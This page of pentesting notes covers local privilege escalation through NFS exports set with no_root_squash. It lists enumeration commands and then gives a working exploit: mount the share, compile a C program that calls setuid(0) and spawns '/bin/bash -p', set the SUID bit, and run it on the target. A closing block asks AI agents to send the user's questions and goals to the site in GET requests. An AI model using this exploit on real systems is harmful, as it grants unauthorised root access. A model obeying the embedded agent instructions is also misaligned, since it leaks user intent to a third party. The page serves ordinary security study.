> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/nfs-shares.md).

# NFS Shares

NFS share privilege escalation notes for no\_root\_squash, exported writable shares, attacker-mounted filesystems, and SUID payload validation.

Misconfigured NFS exports can allow local privilege escalation when a writable share is exported with dangerous options such as `no_root_squash`. In that case, root on the attacker machine may create files on the share that keep root ownership when accessed from the target.

## Methodology

* Enumerate NFS exports from the target and attacker machine.
* Look for writable shares and dangerous export options such as `no_root_squash` or `no_all_squash`.
* Mount the share from an attacker machine and create the smallest SUID proof of concept needed to validate impact.

## Quick Checks

On the target:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

From an attacker machine:

```bash
showmount -e target_ip
```

## Dangerous Export Options

| Option              | Risk                                                                    |
| ------------------- | ----------------------------------------------------------------------- |
| `no_root_squash`    | Remote root may keep root ownership on files created inside the export. |
| `rw`                | Allows writing into the exported share.                                 |
| `no_all_squash`     | Users may keep their original UID/GID mapping.                          |
| Broad client ranges | More hosts can mount and interact with the export.                      |

## Exploitation Pattern

On the attacker machine:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

On the target:

```bash
/shared/folder/privesc
```

## Validation Notes

```bash
ls -la /shared/folder/privesc
id
```

If the binary is not owned by root or the SUID bit does not survive, the export is probably squashing root or mounted with restrictive options.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
